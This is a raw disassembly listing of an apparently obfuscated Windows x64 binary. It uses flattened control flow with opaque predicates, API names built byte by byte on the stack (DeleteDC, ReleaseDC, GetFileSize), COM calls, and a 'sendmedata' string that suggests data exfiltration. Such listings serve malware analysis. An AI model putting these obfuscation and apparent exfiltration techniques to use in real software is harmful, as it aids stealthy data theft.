jmp 0x14001f4e8
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x4d22da0b
and edx, 0xb2dd25f4
or edx, eax
xor edx, 0xb2dd25f4
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x4def3aff
mov ebx, 0xa8115ba0
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x4def3aff
jmp 0x14001f4e8
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xcc7e2699
and ecx, 0x3381d966
or ecx, eax
mov eax, ecx
xor eax, 0x3381d966
xor ecx, 0x88782018
and ecx, 0x89f9e05a
mov edx, eax
and edx, 0x76061fa5
or edx, ecx
xor edx, 0x76061fa4
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x72144b24
mov ebx, 0x7100afd4
cmovne eax, ebx
test dl, dl
mov edx, 0x72144b24
jmp 0x14001edab
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
mov rdx, r13
mov r8d, 0x40000000
call qword [rax + pe_nt_image_headers64]
add rsp, 0x20
mov eax, 0x2eba2588
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp dword [rbp + 0x1a4], 0
sete byte [rbp + 0x187]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x4f921417
mov ebx, 0x6b4ef0f2
cmovne eax, ebx
test dl, dl
mov edx, 0x4f921417
cmove eax, edx
test cl, cl
cmovne eax, ebx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd5252263
and edx, 0x2adadd9c
or edx, ecx
mov ecx, edx
xor ecx, 0x2adadd9c
and ecx, 0xfffffffe
xor edx, 0xd5252262
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2da499cd
and edx, 0xd25b6632
or edx, ecx
xor edx, 0xd25b6632
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov ecx, edx
xor cl, bl
test bl, bl
mov eax, 0x6ec5fd6e
mov ebx, 0x3b6e3720
cmovne eax, ebx
test dl, dl
mov edx, 0x6ec5fd6e
cmovne eax, edx
jmp 0x14001f5b5
mov eax, 0x8bf4b4f1
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [rbp + 0x19c]
mov dword [rbp - 0x54], eax
mov eax, 0x7ef07590
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 8]
mov rdx, qword [rdx]
sub rsp, 0x20
mov r8d, 2
call qword [rax + 0x18]
add rsp, 0x20
mov dword [rbp + 0x110], eax
cmp dword [rbp + 0x110], 0
setns byte [rbp + 0x117]
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xbdb69af9
and edx, 0x42496506
or edx, ecx
mov ecx, edx
xor ecx, 0x42496506
and ecx, 0xfffffffe
xor edx, 0xbdb69af8
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xb77acad9
and edx, 0x48853526
or edx, ecx
xor edx, 0x48853526
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov edx, 0xde5eedd7
mov eax, 0x1d4b3018
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xde5eedd7
cmovne eax, ebx
test cl, cl
cmovne eax, edx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x797e6260
mov eax, edx
and eax, 0x86819d9f
or eax, ebx
xor eax, 0x86819d9e
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xcddad4fa
mov edx, 0xda540574
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0xcddad4fa
jmp 0x140017565
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x9169048
mov eax, edx
and eax, 0xf6e96fb7
or eax, ebx
xor eax, 0xf6e96fb6
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0xfc391997
mov edi, 0xa0773125
cmovne eax, edi
test dl, dl
mov ecx, 0xfc391997
cmove eax, ecx
test bl, bl
cmovne eax, edi
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp - 8]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rax, qword [rbp - 8]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa8]
mov rbx, qword [rbp - 8]
mov rdx, qword [rbp + 0xa0]
sub rsp, 0x30
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov r9d, 2
call rax
add rsp, 0x30
mov dword [rbp + 0xe0], eax
cmp dword [rbp + 0xe0], 0
setns byte [rbp + 0xe7]
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x4bd90e1a
and edx, 0xb426f1e5
or edx, eax
mov eax, edx
xor eax, 0xb426f1e4
and eax, 0xfffffffe
xor edx, 0x4bd90e1b
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xbde712aa
mov ecx, 0x110ed5e5
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xbde712aa
jmp 0x14001f199
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd6e3cdd4
mov edx, eax
and edx, 0x291c322b
or edx, ecx
xor edx, 0x291c322a
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xac99994f
and eax, 0x536666b0
or eax, ecx
xor eax, 0x536666b0
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x801f1bd8
mov ebx, 0x4662ef8c
cmovne ecx, ebx
test al, al
mov eax, ecx
cmovne eax, ebx
test dl, dl
cmove eax, ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 8]
sub rsp, 0x20
call qword [rax + 0x70]
add rsp, 0x20
mov eax, 0x43d735e6
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0xd0bcc7fb
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x166bbb08
and ecx, 0xe99444f7
or ecx, eax
mov eax, ecx
xor eax, 0xe99444f6
and eax, 0xfffffffe
xor ecx, 0x166bbb09
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0x27a7624b
mov ebx, 0x42a67488
cmovne eax, ebx
test dl, dl
mov edx, 0x27a7624b
jmp 0x14001fe1f
mov eax, 0xa082e720
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x8687d640
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
mov rdx, r13
mov r8d, 0x40000000
call qword [rax + pe_nt_image_headers64]
add rsp, 0x20
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x28431fb5
mov ebx, 0xae8b2e93
cmovne ecx, ebx
test al, al
mov eax, 0x28431fb5
cmove ecx, eax
test dl, dl
cmovne ecx, ebx
jmp 0x14001f6a0
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete dl
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x749c2a4f
mov ebx, 0xddf9089b
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, cl
mov ecx, 0x749c2a4f
jmp 0x14001f199
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xca6d4ae3
and ecx, 0x3592b51c
or ecx, edx
xor ecx, 0x3592b51d
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xe4995d40
mov ebx, 0x31340b9b
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0xe4995d40
jmp 0x14001fe24
mov eax, 0xb471d6cf
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x4be6f58b
and edx, 0xb4190a74
or edx, ebx
xor edx, 0x4be6f58a
or edx, eax
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0x3dd90ceb
mov edx, 0x80ce0783
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0x3dd90ceb
cmovne eax, ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x3ee71bc2
and edx, 0xc118e43d
or edx, eax
xor edx, 0xc118e43d
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x309a04b4
mov edx, 0x744bc9fd
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x309a04b4
cmovne edx, ebx
test cl, cl
cmovne edx, eax
jmp 0x14001fe27
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0xa01e3262
mov edi, 0x6b96c26c
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
mov ecx, dword [rbp - 0x18]
mov dword [rbp + 0x188], ecx
jmp 0x14001e640
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5fb985fc
and ecx, 0xa0467a03
or ecx, edx
xor ecx, 0x5fb985fd
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0x45776630
mov eax, 0xd64ce2f9
cmovne ebx, eax
test dl, dl
mov eax, 0x45776630
cmovne eax, ebx
test cl, cl
cmove eax, ebx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x44f99e44
mov ecx, dword [rbp + 0x198]
mov dword [rbp - 0x50], ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete bl
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov eax, ebx
xor al, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x53b38a48
mov ebx, 0xfbdb0ed6
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x53b38a48
jmp 0x14001fe24
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xd454939
mov ebx, 0xf6d62255
cmovne ecx, ebx
test dl, dl
mov edx, 0xd454939
cmovne ecx, edx
test al, al
cmove ecx, ebx
mov eax, ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [rbp + 0x1a4]
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x3573549e
mov ebx, eax
and ebx, 0xca8cab61
or ebx, edx
xor ebx, 0xca8cab60
and eax, 0xfffffffe
or eax, ebx
mov edx, eax
not edx
and edx, 0x76055a4d
and eax, 0x89faa5b2
or eax, edx
xor eax, 0x89faa5b2
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0xababdc6f
mov ebx, 0xb6a09e41
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0xababdc6f
jmp 0x14001f4e8
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov edx, dword [rbp + 0x174]
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.14000aec0
add rsp, 0x20
mov r12, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
lea rcx, [0x140082040]
xor edx, edx
lea r8, [0x140082070]
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, r12
call fcn.14000aec0
add rsp, 0x20
mov r15, rax
mov rax, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x40]
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
sub rsp, 0x20
mov r8d, 0x32
lea rcx, [0x140081b60]
mov rdx, rdi
call fcn.140010710
mov rcx, r15
call fcn.140060a40
add rsp, 0x20
mov rsi, rax
shl rsi, 0x20
movabs rax, 0x7d000000000
add rsi, rax
sar rsi, 0x20
sub rsp, 0x20
mov rcx, rsi
call fcn.14005ff54
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.140059c80
mov rcx, rdi
call fcn.140060a40
mov rcx, rdi
mov rdx, rax
call fcn.14000aec0
add rsp, 0x20
mov rdi, r14
mov r14, rax
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.dtysccid_sdtior_s
lea r8, [0x140082080]
mov r9, r15
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov rcx, rsi
lea rdx, str._ymybisvimqjoknhmgryit_sendmedataoknmkehdn_
call fcn.140060c84
mov rcx, rbx
call fcn.140060a40
mov rcx, rbx
mov rdx, rsi
mov r8d, eax
call fcn.140011990
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.14005ff40
mov rcx, rbx
call fcn.14005ff40
mov rcx, r14
mov r14, rdi
call fcn.14005ff40
mov rcx, r12
call fcn.14005ff40
mov rcx, r15
call fcn.14005ff40
add rsp, 0x20
mov eax, 0x36c2797e
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x18]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x18]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x18]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 6], 0x4f
mov rax, qword [rbp + 0x18]
mov byte [rax + 7], 0x62
mov rax, qword [rbp + 0x18]
mov byte [rax + 8], 0x6a
mov rax, qword [rbp + 0x18]
mov byte [rax + 9], 0x65
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xa], 0x63
mov rax, qword [rbp + 0x18]
mov byte [rax + 0xb], 0x74
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x20]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x20]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 4], 0x74
mov rax, qword [rbp + 0x20]
mov byte [rax + 5], 0x65
mov rax, qword [rbp + 0x20]
mov byte [rax + 6], 0x44
mov rax, qword [rbp + 0x20]
mov byte [rax + 7], 0x43
mov rcx, qword [0x140081b28]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x52
mov rax, qword [rbp + 0x28]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 2], 0x6c
mov rax, qword [rbp + 0x28]
mov byte [rax + 3], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 4], 0x61
mov rax, qword [rbp + 0x28]
mov byte [rax + 5], 0x73
mov rax, qword [rbp + 0x28]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x28]
mov byte [rax + 7], 0x44
mov rax, qword [rbp + 0x28]
mov byte [rax + 8], 0x43
mov rcx, qword [0x140081b20]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x68]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x30]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x43
mov rax, qword [rbp + 0x30]
mov byte [rax + 1], 0x6f
mov rax, qword [rbp + 0x30]
mov byte [rax + 2], 0x55
mov rax, qword [rbp + 0x30]
mov byte [rax + 3], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 5], 0x6e
mov rax, qword [rbp + 0x30]
mov byte [rax + 6], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 7], 0x74
mov rax, qword [rbp + 0x30]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 9], 0x61
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xa], 0x6c
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xb], 0x69
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xc], 0x7a
mov rax, qword [rbp + 0x30]
mov byte [rax + 0xd], 0x65
mov rcx, qword [0x140081b30]
sub rsp, 0x20
call r14
call rax
add rsp, 0x20
mov eax, dword [rbp + 0x1a0]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xf41b7ee0
and ecx, 0xbe4811f
or ecx, eax
mov eax, ecx
xor eax, 0xbe4811e
and eax, 0xfffffffe
xor ecx, 0xf41b7ee1
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x10660988
mov ebx, 0x536a885a
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0x10660988
jmp 0x14001fe24
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x368a48c8
and ecx, 0xc975b737
or ecx, eax
mov eax, ecx
xor eax, 0xc975b736
and eax, 0xfffffffe
xor ecx, 0x368a48c9
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0xf88dc79f
mov eax, 0xffda495f
cmovne ebx, eax
test cl, cl
mov eax, 0xf88dc79f
cmovne eax, ebx
jmp 0x14001e640
mov eax, 0x62402165
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x38]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x20], xmm6
movaps xmmword [rdx + 0x10], xmm6
mov word [rdx + 0x30], 0
mov byte [rdx], 0x47
mov rax, qword [rbp + 0x38]
mov byte [rax + 1], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 2], 0x74
mov rax, qword [rbp + 0x38]
mov byte [rax + 3], 0x46
mov rax, qword [rbp + 0x38]
mov byte [rax + 4], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 5], 0x6c
mov rax, qword [rbp + 0x38]
mov byte [rax + 6], 0x65
mov rax, qword [rbp + 0x38]
mov byte [rax + 7], 0x53
mov rax, qword [rbp + 0x38]
mov byte [rax + 8], 0x69
mov rax, qword [rbp + 0x38]
mov byte [rax + 9], 0x7a
mov rax, qword [rbp + 0x38]
mov byte [rax + 0xa], 0x65
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call r14
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
xor edx, edx
call rax
add rsp, 0x20
mov rsi, rax
movabs rcx, 0x5c796ecfaeb28842
add rax, rcx
movabs rdx, 0x33fb467dfbdc9463
sub rax, rdx
sub rax, rcx
movabs rcx, 0x5f9ff369e3d8fb7e
sub rax, rcx
add rax, rdx
lea rdi, [rcx + rax]
add rdi, 0xa
movabs rdx, 0x64660636709dae8d
mov rax, rdx
not rax
and rax, rdi
not rdi
mov rcx, rdi
and rcx, rdx
or rax, rcx
movabs rcx, 0x9b99f9c9709dae8d
xor rax, rcx
xor rdi, rax
and rdi, rax
sub rsp, 0x20
mov rcx, rdi
call fcn.14005ff54
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.140059c80
add rsp, 0x20
mov rcx, qword [rbp + 0x160]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov r8d, esi
xor r9d, r9d
call qword [0x1400820e8]
add rsp, 0x30
mov eax, 0xb5c20c20
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, 0x9bb1b4e7
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x58]
add rsp, 0x20
mov eax, 0xd339e5f0
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov eax, 0x9139d513
mov edx, 0x9ab7b3d7
cmovne eax, edx
test bl, bl
mov edx, 0x9139d513
cmovne edx, eax
test cl, cl
cmove edx, eax
mov eax, edx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
sub rsp, 0x20
call fcn.1400584f0
add rsp, 0x20
movaps xmm6, xmmword [rbp + 0x1b0]
movaps xmm7, xmmword [rbp + 0x1c0]
movaps xmm8, xmmword [rbp + 0x1d0]
movaps xmm9, xmmword [rbp + 0x1e0]
movaps xmm10, xmmword [rbp + 0x1f0]
lea rsp, [rbp + 0x208]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret